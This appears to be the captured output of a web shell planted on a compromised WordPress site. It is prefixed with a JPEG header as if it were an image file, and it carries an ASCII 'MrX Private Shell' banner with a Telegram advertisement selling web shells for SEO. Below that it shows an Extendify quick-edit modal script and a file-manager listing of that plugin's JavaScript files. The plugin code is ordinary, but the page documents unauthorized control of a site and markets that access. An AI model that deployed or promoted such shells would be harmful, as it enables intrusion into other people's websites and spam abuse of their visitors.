����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
// Lives outside the .extendify-quick-edit prefix scope; modal styles need
// the /* no-prefix */ marker to match the body-level DOM wp-components portals to.
import { createRoot } from '@wordpress/element';
const ROOT_ID = 'extendify-quick-edit-modal-root';
// Override @wordpress/components Modal's default bodyOpenClassName ("modal-open")
// so our modals don't trip the wp.media-detection rule in quick-edit.css
// (`body.modal-open .components-modal__frame:has(.extendify-quick-edit-modal)`).
// Round-6 keyed that rule off `body.modal-open` thinking it was a wp.media-only
// signal; @wordpress/components Modal also adds it on mount, so every QE modal
// was hiding itself on first open.
export const QE_MODAL_BODY_OPEN_CLASS = 'extendify-quick-edit-modal-open';
let modalRoot = null;
let reactRoot = null;
const ensureNode = () => {
if (modalRoot?.isConnected) return modalRoot;
modalRoot = document.createElement('div');
modalRoot.id = ROOT_ID;
modalRoot.className = 'extendify-quick-edit';
document.body.appendChild(modalRoot);
return modalRoot;
};
export const mountModal = (element) => {
const node = ensureNode();
if (!reactRoot) reactRoot = createRoot(node);
reactRoot.render(element);
};
export const closeModal = (reload) => {
if (reactRoot) {
reactRoot.unmount();
reactRoot = null;
}
if (modalRoot) {
modalRoot.remove();
modalRoot = null;
}
if (reload) window.location.reload();
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin-bar.js | File | 1.45 KB | 0644 |
|
| agent-block-descriptor.js | File | 1.35 KB | 0644 |
|
| agent-gate.js | File | 768 B | 0644 |
|
| api.js | File | 2.56 KB | 0644 |
|
| ask-ai.js | File | 4.6 KB | 0644 |
|
| block-source-cache.js | File | 1.95 KB | 0644 |
|
| click-rule.js | File | 6.2 KB | 0644 |
|
| cmd-enter-save.js | File | 482 B | 0644 |
|
| dom.js | File | 10.98 KB | 0644 |
|
| errors.js | File | 681 B | 0644 |
|
| escape-rule.js | File | 1.51 KB | 0644 |
|
| fingerprint.js | File | 1.91 KB | 0644 |
|
| global-escape.js | File | 1.79 KB | 0644 |
|
| hover-bar.js | File | 27.75 KB | 0644 |
|
| keyboard-entry.js | File | 6.26 KB | 0644 |
|
| keyboard-undo.js | File | 2.39 KB | 0644 |
|
| link-suggestions.js | File | 790 B | 0644 |
|
| modal-root.js | File | 1.39 KB | 0644 |
|
| quick-edit-handlers.js | File | 1.02 KB | 0644 |
|
| rich-text-color.js | File | 8.11 KB | 0644 |
|
| save-bridge.js | File | 1.2 KB | 0644 |
|
| translated.js | File | 1.81 KB | 0644 |
|